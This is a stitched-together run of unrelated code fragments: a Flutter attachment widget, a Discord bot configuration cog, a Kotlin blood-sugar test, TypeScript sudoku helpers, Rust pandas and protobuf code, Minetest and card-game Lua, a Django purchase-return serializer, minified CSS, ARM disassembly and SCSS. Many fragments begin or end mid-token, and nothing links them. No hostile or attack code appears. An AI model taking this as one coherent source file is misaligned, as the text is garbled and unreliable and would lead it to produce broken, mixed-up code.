),
                child: Icon(
                  icon,
                  color: Colors.white,
                  size: isSmallScreen ? 10 : 12,
                ),
              ),
            ],
          ),
          SizedBox(height: isSmallScreen ? 2 : 4),
          FittedBox(
            fit: BoxFit.scaleDown,
            child: Text(
              value,
              style: TextStyle(
                color: Colors.white,
                fontSize: isSmallScreen ? 16 : 18,
                fontWeight: FontWeight.bold,
              ),
            ),
          ),
        ],
      ),
    );
  }
}
import 'dart:io';
import 'package:flutter/material.dart';
import '../models/attachment.dart';
import '../services/attachment_service.dart';

class AttachmentWidget extends StatefulWidget {
  final Attachment attachment;
  final VoidCallback? onDelete;

  const AttachmentWidget({
    super.key,
    required this.attachment,
    this.onDelete,
  });

  @override
  State<AttachmentWidget> createState() => _AttachmentWidgetState();
}

class _AttachmentWidgetState extends State<AttachmentWidget> {
  final AttachmentService _attachmentService = AttachmentService();
  bool _isPlaying = false;

  @override
  Widget build(BuildContext context) {
    return Card(
      margin: const EdgeInsets.symmetric(vertical: 4),
      child: ListTile(
        leading: _buildLeading(),
        title: Text(
          widget.attachment.fileName,
          style: const TextStyle(fontSize: 14),
          maxLines: 1,
          overflow: TextOverflow.ellipsis,
        ),
        subtitle: _buildSubtitle(),
        trailing: _buildTrailing(),
        onTap: _handleTap,
        dense: true,
      ),
    );
  }

  Widget _buildLeading() {
    switch (widget.attachment.type) {
      case AttachmentType.image:
        if (File(widget.attachment.filePath).existsSync()) {
          return ClipRRect(
            borderRadius: BorderRadius.circular(4),
            child: Image.file(
              File(widget.attachment.filePath),
              width: 40,
              height: 40,
              fit: BoxFit.cover,
            ),
          );
        }
        return const Icon(Icons.image, size: 24);

      case AttachmentType.audio:
        return Icon(
          _isPlaying ? Icons.pause_circle : Icons.play_circle,
          size: 24,
          color: Theme.of(context).primaryColor,
        );

      case AttachmentType.text:
        return const Icon(Icons.text_snippet, size: 24);
    }
  }

  Widget? _buildSubtitle() {
    final parts = <String>[];

    if (widget.attachment.formattedFileSize.isNotEmpty) {
      parts.add(widget.attachment.formattedFileSize);
    }

    parts.add(widget.attachment.typeText);

    if (parts.isEmpty) return null;

    return Text(
      parts.join(' • '),
      style: const TextStyle(fontSize: 12),
    );
  }

  Widget? _buildTrailing() {
    return widget.onDelete != null
        ? IconButton(
            onPressed: widget.onDelete,
            icon: const Icon(Icons.delete_outline),
            iconSize: 18,
            color: Colors.red.shade400,
          )
        : null;
  }

  void _handleTap() {
    switch (widget.attachment.type) {
      case AttachmentType.image:
        _showImageDialog();
        break;
      case AttachmentType.audio:
        _toggleAudio();
        break;
      case AttachmentType.text:
        _showTextDialog();
        break;
    }
  }

  void _showImageDialog() {
    if (!File(widget.attachment.filePath).existsSync()) {
      _showErrorSnackBar('Image file not found');


from discord import TextChannel
from discord.ext.commands import Bot, Cog, Context, command, Group, group

from CupidV3Database.guildconfiguration import GuildConfig

from enum import Enum

class Set(Enum):
    add = "add"
    remove = "remove"

class Config(Cog):
    def __init__(self, bot: Bot):
        self.bot = bot

    @group(name="configure", invoke_without_command = True)
    async def configure(self, ctx:Context):
        await ctx.reply("test!")

    @configure.command(name="channel", description="configures events for channels")
    async def channel(self, ctx:Context, set:str, channel:TextChannel, event:str):
        """adds / removes channels to events
        Args:
            channel (TextChannel): the channel to configure
            set (Set): add or remove
            event (str): the event to add / remove from the channe
        """

        guild_config = await GuildConfig.get_record(ctx.guild.id)
        set = set.lower()
        event = event.lower()

        match (set):
            case 'add':
                success, msg = await guild_config.subscribe(event, channel.id)
            case 'remove':
                success, msg = await guild_config.unsubscribe(event, channel.id)
            case _:
                return await ctx.reply("set can only be \"add\" or \"remove\"")

        await ctx.reply(msg)

    @channel.error
    async def channel_err(self, ctx:Context, err):
        await ctx.send(f"```{err}```")

async def setup(bot:Bot):
    await bot.add_cog(Config(bot))


ject
  lateinit var appDatabase: AppDatabase

  @Inject
  lateinit var utcClock: TestUtcClock

  @Inject
  lateinit var userClock: TestUserClock

  @Inject
  @Named("full_date")
  lateinit var dateFormatter: DateTimeFormatter

  @Inject
  @Named("time_for_measurement_history")
  lateinit var timeFormatter: DateTimeFormatter

  @Inject
  lateinit var schedulersProvider: SchedulersProvider

  @get:Rule
  val ruleChain: RuleChain = Rules.global()

  private val canEditBloodSugarFor = Duration.ofMinutes(10)
  private val bloodSugarUnitPreference = BloodSugarUnitPreference.Mg

  @Before
  fun setup() {
    TestClinicApp.appComponent().inject(this)
    utcClock.setDate(LocalDate.parse("2020-01-01"))
  }

  @After
  fun tearDown() {
    appDatabase.bloodSugarDao().clear()
  }

  @Test
  fun load_paged_data_should_work_correctly() {
    val patientUuid = UUID.fromString("f6f60760-b290-4e0f-9db0-74179b7cd170")
    val createdAt = Instant.parse("2020-01-01T00:00:00Z")
    val recordedAt = Instant.parse("2020-01-01T00:00:00Z")

    val bloodSugarNow = TestData.bloodSugarMeasurement(
        uuid = UUID.fromString("375cc86f-c582-43dd-aa0f-c06d73ea954b"),
        patientUuid = patientUuid,
        createdAt = createdAt,
        recordedAt = recordedAt
    )

    val bloodSugar15MinutesInPast = TestData.bloodSugarMeasurement(
        uuid = UUID.fromString("6495f97d-b1a9-42f6-9fb5-8d267e3e0633"),
        patientUuid = patientUuid,
        createdAt = createdAt.minus(15, ChronoUnit.MINUTES),
        recordedAt = recordedAt.minus(1, ChronoUnit.DAYS)
    )

    val bloodSugar20MinutesInPast = TestData.bloodSugarMeasurement(
        uuid = UUID.fromString("e1f40c2f-3737-4cc6-843d-9eecf543d008"),
        patientUuid = patientUuid,
        createdAt = createdAt.minus(20, ChronoUnit.MINUTES),
        recordedAt = recordedAt.minus(1, ChronoUnit.DAYS)
    )

    val bloodSugar30MinutesInPast = TestData.bloodSugarMeasurement(
        uuid = UUID.fromString("5fe4cad4-4652-48d6-b1bf-67cb630f2fe9"),
        patientUuid = patientUuid,
        createdAt = createdAt.minus(30, ChronoUnit.MINUTES),
        recordedAt = recordedAt.minus(1, ChronoUnit.DAYS)
    )

    val bloodSugar40MinutesInPast = TestData.bloodSugarMeasurement(
        uuid = UUID.fromString("aa55ff64-2574-4426-97c6-40fed8dc7db6"),
        patientUuid = patientUuid,
        createdAt = createdAt.minus(40, ChronoUnit.MINUTES),
        recordedAt = recordedAt.minus(1, ChronoUnit.DAYS)
    )

    val bloodSugar45MinutesInPast = TestData.bloodSugarMeasurement(
        uuid = UUID.fromString("ce4972af-e59f-4485-a6a7-5f00cb55870b"),
        patientUuid = patientUuid,
        createdAt = createdAt.minus(45, ChronoUnit.MINUTES),
        recordedAt = recordedAt.minus(1, ChronoUnit.DAYS)
    )

    appDatabase.bloodSugarDao().save(listOf(
        bloodSugarNow,
        bloodSugar15MinutesInPast,
        bloodSugar20MinutesInPast,
        bloodSugar30MinutesInPast,
        bloodSugar40MinutesInPast,
        bloodSugar45MinutesInPast,
    ))

    // when
    val pagingSource = BloodSugarHistoryListItemPagingSource(
        appDatabase = appDatabase,
        utcClock = utcClock,
        userClock = userClock,
        canEditFor = canEditBloodSugarFor,
        schedulersProvider = schedul


 NOT make sure the grid is valid*/
        removeZeroes(nbZeroes: number, sudo: Array<GridRow>): Array<GridRow> {
            let grilleZeroes = new Array<GridRow>();
            grilleZeroes = this.copySudoku(sudo);

            while (this.solver.countZeros(grilleZeroes) !== nbZeroes) {
                grilleZeroes = this.remover.putZero(grilleZeroes);
            }
            return grilleZeroes;
        }

        getSudoku(level: string): Array<GridRow> {
            let grid;
            if (level.toLowerCase() === NORMAL_LEVEL.toLowerCase()) {
                grid = NORMAL_EMPTY_SUDOKUS.shift();
                this.loadSudokuData(NORMAL_SUDOKU_SOLUTIONS, NORMAL_EMPTY_SUDOKUS, SPACES.ZEROS_NUMB_NORMAL);
            }
            else {
                grid = DIFFICULT_EMPTY_SUDOKUS.shift();
                this.loadSudokuData(DIFFICULT_SUDOKU_SOLUTIONS, DIFFICULT_EMPTY_SUDOKUS, SPACES.ZEROS_NUMB_HARD);
            }
            return grid;
        }

        /** @@@@@@@@@@@@@@@@@ operations qui affectent le sudoku original @@@@@@@@@@@@@@@@@@@@ **/
        // Methode permettant de permuter  deux valeurs par rapport à une ligne
        swapRow(row1: number, row2: number, gridTmp: Array<GridRow>): Array<GridRow> {
            let tempGridRow = gridTmp[row1];
            gridTmp[row1] = gridTmp[row2];
            gridTmp[row2] = tempGridRow;
            return gridTmp;
        }
        // Methode permettant de permuter deux valeurs par rapport à colonne
        swapCol(col1: number, col2: number, grid: Array<GridRow>): Array<GridRow> {
            for (let i = 0; i < 9; i++) {
                let temp = grid[i].rowValue[col1];
                grid[i].rowValue[col1] = grid[i].rowValue[col2];
                grid[i].rowValue[col2] = temp;
            }
            return grid;
        }
        //
        randomRow(min: number, max: number, grid: Array<GridRow>): Array<GridRow> {
            let randomrow1 = this.randomNumber(min, max);
            let randomrow2 = this.randomNumber(min, max);
            while (randomrow1 === randomrow2) {
                randomrow2 = this.randomNumber(min, max);
            }
            this.swapRow(randomrow1, randomrow2, grid);
            return grid;
        }

        //
        randomCol(min: number, max: number, grid: Array<GridRow>): Array<GridRow> {
            let randomcol1 = this.randomNumber(min, max);
            let randomcol2 = this.randomNumber(min, max);
            while (randomcol1 === randomcol2) {
                randomcol2 = this.randomNumber(min, max);
            }
            this.swapCol(randomcol1, randomcol2, grid);
            return grid;
        }

        //
        invertRow(grid: Array<GridRow>): Array<GridRow> {

            for (let i = 0; i < 4; i++) {
                let temp = grid[i];
                grid[i] = grid[8 - i];
                grid[8 - i] = temp;
            }
            return grid;
        }

        //
        invertCol(grid: Array<GridRow>): Array<GridRow> {
            for (let i = 0; i < 8; i++) {
                for (let j = 0; j < 4; j++) {
                    let temp = grid[i].rowValue[j];
                    grid[i].rowValue[j] = grid[i].rowValue[8 - j];
                    grid[i].rowValue[8 - j] = temp;
                }
            }
            return grid;
        }

        //
        invertDiag(grid: Array<GridRow>): Array<GridRow> {
            for (let i = 1; i < grid.length; i++) {
                for (let j = 0; j < i


Eq, Eq, Hash, PartialOrd, Ord)]
pub enum PandasTypeSystem {
    F64(bool),
    I64(bool),
    Bool(bool),
    Char(bool),
    Str(bool),
    BoxStr(bool),
    String(bool),
    Bytes(bool),
    DateTime(bool),
}

impl_typesystem! {
    system = PandasTypeSystem,
    mappings = {
        { F64 => f64 }
        { I64 => i64 }
        { Bool => bool }
        { Char => char }
        { Str => &'r str }
        { BoxStr => Box<str> }
        { String => String }
        { Bytes => Vec<u8> }
        { DateTime => DateTime<Utc> }
    }
}

pub trait PandasDType: Sized {
    fn dtype(&self) -> &'static str;
    // For initialize a numpy array when creating the pandas dataframe
    fn npdtype(&self) -> &'static str;
    fn parse(ty: &str) -> Result<Self>;
    fn is_extension(&self) -> bool;
    fn block_name(&self) -> &'static str;
}

impl PandasDType for PandasTypeSystem {
    fn dtype(&self) -> &'static str {
        match *self {
            PandasTypeSystem::I64(false) => "int64",
            PandasTypeSystem::I64(true) => "Int64",
            PandasTypeSystem::F64(_) => "float64",
            PandasTypeSystem::Bool(false) => "bool",
            PandasTypeSystem::Bool(true) => "boolean",
            PandasTypeSystem::Char(_) => "object",
            PandasTypeSystem::Str(_) => "object",
            PandasTypeSystem::BoxStr(_) => "object",
            PandasTypeSystem::String(_) => "object",
            PandasTypeSystem::Bytes(_) => "object",
            PandasTypeSystem::DateTime(_) => "datetime64[ns]",
        }
    }

    fn npdtype(&self) -> &'static str {
        match *self {
            PandasTypeSystem::I64(_) => "i8",
            PandasTypeSystem::F64(_) => "f8",
            PandasTypeSystem::Bool(_) => "b1",
            PandasTypeSystem::Char(_) => "O",
            PandasTypeSystem::Str(_) => "O",
            PandasTypeSystem::BoxStr(_) => "O",
            PandasTypeSystem::String(_) => "O",
            PandasTypeSystem::Bytes(_) => "O",
            PandasTypeSystem::DateTime(_) => "M8[ns]",
        }
    }

    #[throws(ConnectorAgentError)]
    fn parse(ty: &str) -> Self {
        match ty {
            "int64" => PandasTypeSystem::I64(false),
            "Int64" => PandasTypeSystem::I64(true),
            "float64" => PandasTypeSystem::F64(true),
            "bool" => PandasTypeSystem::Bool(false),
            "boolean" => PandasTypeSystem::Bool(true),
            "object" => PandasTypeSystem::String(true),
            "datetime" => PandasTypeSystem::DateTime(true),
            ty => unimplemented!("{}", ty),
        }
    }

    fn is_extension(&self) -> bool {
        match *self {
            PandasTypeSystem::I64(false) => false,
            PandasTypeSystem::I64(true) => true,
            PandasTypeSystem::F64(_) => false,
            PandasTypeSystem::Bool(false) => false,
            PandasTypeSystem::Bool(true) => true,
            PandasTypeSystem::Char(_) => false, // we use object instead of string (Extension) for now
            PandasTypeSystem::Str(_) => false, // we use object instead of string (Extension) for now
            PandasTypeSystem::BoxStr(_) => false, // we use object instead of string (Extension) for now
            PandasTypeSystem::String(_) => false, // we use object instead of string


est.set_node(down2, {name="default:dirt"})
               minetest.set_node(down3, {name="default:dirt"})
               minetest.set_node(down4, {name="default:dirt"})
               minetest.set_node(down5, {name="default:dirt"})
               minetest.set_node(down6, {name="default:dirt"})
               minetest.set_node(down7, {name="lottother:dirt"})
		end
     end,
})

minetest.register_abm({
	nodenames = {"lottother:snow"},
	neighbors = {"air"},
	interval = 5,
	chance = 1,
	action = function(pos, node, active_object_count, active_object_count_wider)
		local x = pos.x
		local y = pos.y
		local z = pos.z
		local down = {x=x,y=y-1,z=z}
          local down2 = {x=x,y=y-2,z=z}
          local down3 = {x=x,y=y-3,z=z}
          local down4 = {x=x,y=y-4,z=z}
          local down5 = {x=x,y=y-5,z=z}
          local down6 = {x=x,y=y-6,z=z}
          local down7 = {x=x,y=y-7,z=z}
		if minetest.get_node(down).name == "air" then
			minetest.set_node(down, {name="default:snowblock"})
               minetest.set_node(down2, {name="default:snowblock"})
               minetest.set_node(down3, {name="default:snowblock"})
               minetest.set_node(down4, {name="default:snowblock"})
               minetest.set_node(down5, {name="default:snowblock"})
               minetest.set_node(down6, {name="default:snowblock"})
               minetest.set_node(down7, {name="lottother:snow"})
		end
     end,
})

minetest.register_abm({
	nodenames = {"lottother:mordor_stone"},
	neighbors = {"air"},
	interval = 5,
	chance = 1,
	action = function(pos, node, active_object_count, active_object_count_wider)
		local x = pos.x
		local y = pos.y
		local z = pos.z
		local down = {x=x,y=y-1,z=z}
          local down2 = {x=x,y=y-2,z=z}
          local down3 = {x=x,y=y-3,z=z}
          local down4 = {x=x,y=y-4,z=z}
          local down5 = {x=x,y=y-5,z=z}
          local down6 = {x=x,y


 kotlin.test.assertEquals
import kotlin.test.assertNull

class SuicaTest {
    /*
     * Tests for card identification by Service IDs.
     *
     * These are all complete lists of service IDs from cards in the wild.
     */
    @Test
    fun testIdentifyHayakaken() {
        assertEquals(R.string.card_name_hayakaken, SuicaUtil.getCardName(setOf(
            0x48, 0x4a, 0x88, 0x8b, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0x810, 0x812,
            0x816, 0x850, 0x852, 0x856, 0x890, 0x892, 0x896, 0x8c8, 0x8ca, 0x90a, 0x90c, 0x90f, 0x1008,
            0x100a, 0x1048, 0x104a, 0x108c, 0x108f, 0x10c8, 0x10cb, 0x1108, 0x110a, 0x1148, 0x114a,
            0x1f88, 0x1f8a, 0x2048, 0x204a, 0x2448, 0x244a, 0x2488, 0x248a, 0x24c8, 0x24ca, 0x2508,
            0x250a, 0x2548, 0x254a)))
    }

    @Test
    fun testIdentifyIcoca() {
        assertEquals(R.string.card_name_icoca, SuicaUtil.getCardName(setOf(
            0x48, 0x4a, 0x88, 0x8b, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0x810, 0x812,
            0x816, 0x850, 0x852, 0x856, 0x890, 0x892, 0x896, 0x8c8, 0x8ca, 0x90c, 0x90f, 0x1008,
            0x100a, 0x1048, 0x104a, 0x108c, 0x108f, 0x10c8, 0x10cb, 0x1108, 0x110a, 0x1148, 0x114a,
            0x1a48, 0x1a4a, 0x1a88, 0x1a8a, 0x9608, 0x960a)))
    }

    @Test
    fun testIdentifyNimoca() {
        assertEquals(R.string.card_name_nimoca, SuicaUtil.getCardName(setOf(
            0x48, 0x4a, 0x88, 0x8b, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0x810, 0x812,
            0x816, 0x850, 0x852, 0x856, 0x890, 0x892, 0x896, 0x8c8, 0x8ca, 0x90a, 0x90c, 0x90f, 0x1008,
            0x100a, 0x1048, 0x104a, 0x108c, 0x108f, 0x10c8, 0x10cb, 0x1108, 0x110a, 0x1148, 0x114a,
            0x1f48, 0x1f4a, 0x1f88, 0x1f8a, 0x1fc8, 0x1fca, 0x2008, 0x200a, 0x2048, 0x204a)))
    }

    @Test
    fun testIdentifyPasmo() {
        assertEquals(R.string.card_name_pasmo, SuicaUtil.getCardName(setOf(
            0x48, 0x4a, 0x88, 0x8b, 0x810, 0x812, 0x816, 0x850, 0x852, 0x856, 0x890, 0x892, 0x896,
            0x8c8, 0x8ca, 0x90a, 0x90c, 0x90f, 0x1008, 0x100a, 0x1048, 0x104a, 0x108c, 0x108f, 0x10c8,
            0x10cb, 0x1108, 0x110a, 0x1148, 0x114a, 0x1848, 0x184b, 0x1908, 0x190a, 0x1948, 0x194b,
            0x1988, 0x198b, 0x1cc8, 0x1cca, 0x1d08, 0x1d0a, 0x2308, 0x230a


      total_return_quantity = 0
        total_return_amount = 0

        # 创建采购退货产品
        purchase_return_goods_set = []
        for purchase_return_goods_item in purchase_return_goods_items:
            goods = purchase_return_goods_item['goods']
            return_quantity = purchase_return_goods_item['return_quantity']

            purchase_goods = None
            if purchase_order := purchase_return_order.purchase_order:
                if not (purchase_goods := purchase_return_goods_item.get('purchase_goods')):
                    raise ValidationError(f'采购单据[{purchase_order.number}]不存在产品[{goods.name}]')

                purchase_goods.return_quantity = NP.plus(purchase_goods.return_quantity, return_quantity)
                if purchase_goods.return_quantity > purchase_goods.purchase_quantity:
                    raise ValidationError(f'退货产品[{goods.name}]退货数量错误')

                # 同步采购产品退货数量
                purchase_goods.save(update_fields=['return_quantity'])

            return_price = purchase_return_goods_item['return_price']
            total_amount = NP.times(return_quantity, return_price)
            purchase_return_goods_set.append(PurchaseReturnGoods(
                purchase_return_order=purchase_return_order, purchase_goods=purchase_goods,
                goods=goods, return_quantity=return_quantity, return_price=return_price,
                total_amount=total_amount, team=self.team
            ))

            total_return_quantity = NP.plus(total_return_quantity, return_quantity)
            total_return_amount = NP.plus(total_return_amount, total_amount)
        else:
            PurchaseReturnGoods.objects.bulk_create(purchase_return_goods_set)
            total_return_amount = NP.plus(total_return_amount, purchase_return_order.other_amount)
            purchase_return_order.total_quantity = total_return_quantity
            purchase_return_order.total_amount = total_return_amount

        total_collection_amount = 0

        if purchase_return_account_items:
            # 创建采购退货结算账户
            purchase_return_accounts = []
            for purchase_return_account_item in purchase_return_account_items:
                collection_amount = purchase_return_account_item['collection_amount']
                purchase_return_accounts.append(PurchaseReturnAccount(
                    purchase_return_order=purchase_return_order,
                    account=purchase_return_account_item['account'],
                    collection_amount=collection_amount, team=self.team
                ))

                total_collection_amount = NP.plus(total_collection_amount, collection_amount)
            else:
                PurchaseReturnAccount.objects.bulk_create(purchase_return_accounts)

        purchase_return_order.collection_amount = total_collection_amount
        purchase_return_order.arrears_amount = NP.minus(total_return_amount, total_collection_amount)
        purchase_return_order.save(update_fields=['total_quantity', 'total_amount', 'collection_amount',
                                                  'arrears_amount'])

        return purchase_return_order

__all__ = [
    'PurchaseOrderSerializer', 'PurchaseReturnOrderSerializer',
]


FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif;font-weight:400;color:#333;font-size:1.6rem}body,button,input,select,textarea{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-moz-font-feature-settings:"liga","kern"}a:focus,a:hover{color:#095f8a}a:focus{outline:dotted thin;outline:-webkit-focus-ring-color auto 1px;outline-offset:-2px}ins,mark{background:#ffa;color:#333}abbr[title],dfn[title]{cursor:help}address,blockquote,dl,fieldset,figure,hr,ol,p,pre,ul{margin:0 0 1.6rem}*+address,*+blockquote,*+dl,*+fieldset,*+figure,*+hr,*+ol,*+p,*+pre,*+ul{margin-top:1.6rem}h1,h2,h3,h4,h5,h6{margin:0 0 1.6rem;font-weight:600;font-size:100%}h1{font-size:1.5em}h2{font-size:1.25em}*+h1,*+h2,*+h3,*+h4,*+h5,*+h6{margin-top:2em}ol,ul{padding-left:2em}ol>li>ol,ol>li>ul,ul>li>ol,ul>li>ul{margin:1em 0}dt+dd{margin-top:.5em}dd{margin-left:0}dd+dt{margin-top:1em}hr{display:block;height:0;border-top:1px solid #eee;-webkit-box-sizing:content-box;box-sizing:content-box}blockquote{padding-top:5px;padding-bottom:5px;padding-left:15px;border-left:4px solid #ddd;font-family:Georgia,"Times New Roman",Times,Kai,"Kaiti SC",KaiTi,BiauKai,FontAwesome,serif}blockquote small{display:block;color:#999;font-family:"Segoe UI","Lucida Grande",Helvetica,Arial,"Microsoft YaHei",FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif;text-align:right}.am-container:after,.am-container:before,.am-g:after,.am-g:before,[class*=am-avg-]:after,[class*=am-avg-]:before{content:" ";display:table}blockquote p:last-of-type{margin-bottom:0}.am-scrollbar-measure{width:100px;height:100px;overflow:scroll;position:absolute;top:-9999px}.am-container{-webkit-box-sizing:border-box;box-sizing:border-box;margin-left:auto;margin-right:auto;padding-left:1rem;padding-right:1rem;width:100%}.am-container>.am-g{width:auto;margin-left:-1rem;margin-right:-1rem}@media only screen and (min-width:641px){.am-container{padding-left:1.5rem;padding-right:1.5rem}.am-container>.am-g{margin-left:-1.5rem;margin-right:-1.5rem}}.am-g{margin:0 auto;width:100%}.am-g .am-g{margin-l


tCard(id)
							if player:getMark("LuaYanyuDiscard" .. tostring(card:getTypeId())) == 0 then
												ids:removeOne(id)
												disabled:append(id)
							end
						end
						if move.from and move.from:objectName() == target:objectName() and place ~= sgs.Player_PlaceTable then
							local log = sgs.LogMessage()
							log.type = "$MoveCard"
							log.from = target
							log.to:append(target)
							log.card_str = tostring(card_id)
							room:sendLog(log)
						end
						target:obtainCard(card)
					else
						break
					end
				end
			end
		elseif event == sgs.EventPhaseChanging then
			local change = data:toPhaseChange()
			if change.to == sgs.Player_Discard then
				for _, p in sgs.qlist(room:getAlivePlayers()) do
							p:setMark("LuaYanyuDiscard1", 0)
							p:setMark("LuaYanyuDiscard2", 0)
							p:setMark("LuaYanyuDiscard3", 0)
						end
			end
		end
		return false
	end ,
	can_trigger = function(self, target)
		return target ~= nil
	end
}
--[[
	技能名：耀武（锁定技）
	相关武将：标准·华雄
	描述：每当你受到红色【杀】的伤害时，伤害来源选择一项：回复1点体力，或摸一张牌。
	引用：LuaYaowu
	状态：1217验证通过
]]--
LuaYaowu = sgs.CreateTriggerSkill{
	name = "LuaYaowu" ,
	events = {sgs.DamageInflicted} ,
	frequency = sgs.Skill_Compulsory ,
	on_trigger = function(self, event, player, data)
		local room = player:getRoom()
		local damage = data:toDamage()
		if damage.card and damage.card:isKindOf("Slash") and damage.card:isRed() and damage.from and damage.from:isAlive() then
			local choice = "draw"
			if damage.from:isWounded() then
				choice = room:askForChoice(damage.from, self:objectName(), "recover+draw", data)
			end
			if choice == "recover" then
				local recover = sgs.RecoverStruct()
				recover.who = damage.to
				room:recover(damage.from, recover)
			else
				damage.from:drawCards(1)
			end
		end
		return false
	end
}

--[[
	技能名：业炎（限定技）
	相关武将：神·周瑜
	描述：出牌阶段，你可以对一至三名角色各造成1点火焰伤害；或你可以弃置四种花色的手牌各一张，失去3点体力并选择一至两名角色：若如此做，你对这些角色造成共计至多3点火焰伤害且对其中一名角色造成至少2点火焰伤害。
	引用：LuaYeyan
	状态：0405验证通过
]]--

Fire = function(player,target,damagePoint)
	local damage = sgs.DamageStruct()
	damage.from = player
	damage.to = target
	damage.damage = damagePoint
	damage.nature = sgs.DamageStruct_Fire
	player:getRoom():damage(damage)
end
function toSet(self)
	local set = {}
	for _,ele in pairs(self)do
		if not table.contains(set,ele) then
			table.insert(set,ele)
		end
	end
	return set
end
LuaGreatYeyanCard = sgs.CreateSkillCard{
	name="LuaGreatYeyan


x20\x01(\
    \x0b2\x1d.tensorflow.ComputeCapabilityR\x02cc\x12=\n\rcudnn_version\x18\
    \x03\x20\x01(\x0b2\x18.tensorflow.CudnnVersionR\x0ccudnnVersion\x12!\n\
    \x0cblas_version\x18\x05\x20\x01(\tR\x0bblasVersion\x123\n\x05algos\x18\
    \x04\x20\x03(\x0b2\x1d.xla.gpu.BlacklistedAlgorithmR\x05algos\"P\n\x12Al\
    gorithmBlacklist\x12:\n\x07entries\x18\x01\x20\x03(\x0b2\x20.xla.gpu.Alg\
    orithmBlacklistEntryR\x07entriesb\x06proto3\
";

static file_descriptor_proto_lazy: ::protobuf::rt::LazyV2<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::LazyV2::INIT;

fn parse_descriptor_proto() -> ::protobuf::descriptor::FileDescriptorProto {
    ::protobuf::parse_from_bytes(file_descriptor_proto_data).unwrap()
}

pub fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto {
    file_descriptor_proto_lazy.get(|| {
        parse_descriptor_proto()
    })
}
use base::Sink;

use std::ptr;
use std::marker::PhantomData;

impl<T> Sink<T> for Vec<T> {
    #[inline(always)] fn consume(&mut self, x: T) {
        self.push(x);
    }
}

#[derive(new)]
pub struct UncheckedVecSink<T> {
    output: Vec<T>
}

impl<T> Sink<T> for UncheckedVecSink<T> {
    #[inline(always)] fn consume(&mut self, item: T) {
        consume_unchecked(&mut self.output, item);
    }
}

#[derive(new)]
pub struct UncheckedVecRefSink<'a, T: 'a> {
    pub output: &'a mut Vec<T>
}

impl<'a, T: 'a> Sink<T> for UncheckedVecRefSink<'a, T> {
    #[inline(always)] fn consume(&mut self, item: T) {
        consume_unchecked(&mut self.output, item);
    }
}

pub struct RefCopyingSink<T: Copy, S: Sink<T>> {
    pub sink: S,
    _ph: PhantomData<T>
}

impl<T, S> RefCopyingSink<T, S>
    where T: Copy, S: Sink<T>
{
    pub fn new(sink: S) -> Self {
        RefCopyingSink { sink:sink, _ph: PhantomData }
    }
}

impl<'a, T, S> Sink<&'a T> for RefCopyingSink<T, S>
    where T: Copy+'a, S: Sink<T>
{
    #[inline(always)] fn consume(&mut self, x: &'a T) {
        self.sink.consume(*x);
    }
}

pub struct RefCloningSink<T: Clone, S: Sink<T>> {
    pub sink: S,
    _ph: PhantomData<T>
}

impl<T, S> RefCloningSink<T, S>
    where T: Clone, S: Sink<T>
{
    pub fn new(sink: S) -> Self {
        RefCloningSink { sink:sink, _ph: PhantomData }
    }
}

impl<'a, T, S> Sink<&'a T> for RefCloningSink<T, S>
    where T: Clone+'a, S: Sink<T>
{
    #[inline(always)] fn consume(&mut self, x: &'a T) {


riteHandler \n\
/* 0800da2c */ LDR R0, [R0] \n\
/* 0800da2e */ MOVS R4, 0x0 @ Set R4 to 0x0 \n\
/* 0800da30 */ LDRSH R1, [R1, R4] \n\
/* 0800da32 */ BL sprite_set_visible \n\
/* 0800da36 */ B branch_0800df9e \n\
\n\
.ltorg \n\
\n\
jump_0800da3c: \n\
/* 0800da3c */ LSLS R1, R6, 0x1 \n\
/* 0800da3e */ ADDS R1, R1, R2 @ Set R1 to R1 + R2 \n\
/* 0800da40 */ LDR R0, =gSpriteHandler \n\
/* 0800da42 */ LDR R0, [R0] \n\
/* 0800da44 */ MOVS R5, 0x0 @ Set R5 to 0x0 \n\
/* 0800da46 */ LDRSH R1, [R1, R5] \n\
/* 0800da48 */ MOV R6, R8 @ Set R6 to R8 \n\
/* 0800da4a */ MOVS R3, 0x0 @ Set R3 to 0x0 \n\
/* 0800da4c */ LDRSH R2, [R6, R3] \n\
/* 0800da4e */ MOVS R4, 0x2 @ Set R4 to 0x2 \n\
/* 0800da50 */ LDRSH R3, [R6, R4] \n\
/* 0800da52 */ BL sprite_set_x_y \n\
/* 0800da56 */ B branch_0800df9e \n\
\n\
.ltorg \n\
\n\
jump_0800da5c: \n\
/* 0800da5c */ LSLS R1, R6, 0x1 \n\
/* 0800da5e */ ADDS R1, R1, R2 @ Set R1 to R1 + R2 \n\
/* 0800da60 */ LDR R0, =gSpriteHandler \n\
/* 0800da62 */ LDR R0, [R0] \n\
/* 0800da64 */ MOVS R5, 0x0 @ Set R5 to 0x0 \n\
/* 0800da66 */ LDRSH R1, [R1, R5] \n\
/* 0800da68 */ MOV R6, R8 @ Set R6 to R8 \n\
/* 0800da6a */ LSLS R2, R6, 0x18 \n\
/* 0800da6c */ ASRS R2, R2, 0x18 \n\
/* 0800da6e */ BL sprite_set_base_palette \n\
/* 0800da72 */ B branch_0800df9e \n\
\n\
.ltorg \n\
\n\
jump_0800da78: \n\
/* 0800da78 */ LSLS R1, R6, 0x1 \n\
/* 0800da7a */ ADDS R1, R1, R2 @ Set R1 to R1 + R2 \n\
/* 0800da7c */ LDR R0, =gSpriteHandler \n\
/* 0800da7e */ LDR R0, [R0] \n\
/* 0800da80 */ MOVS R2, 0x0 @ Set R2 to 0x0 \n\
/* 0800da82 */ LDRSH R1, [R1, R2] \n\
/* 0800da84 */ MOV R3, R8 @ Set R3 to R8 \n\
/* 0800da86 */ LSLS R2, R3, 0x10 \n\
/* 0800da88 */ ASRS R2, R2, 0x10 \n\
/* 0800da8a */ BL sprite_set_base_tile \n\
/* 0800da8e


return x > 10 }
///   fn-filter(2 20 30 3 4 100, aboveTen); // 20 30 100
///
@function _fn-filter($list, $fn) {
  $new-list: ();
  @each $item in $list {
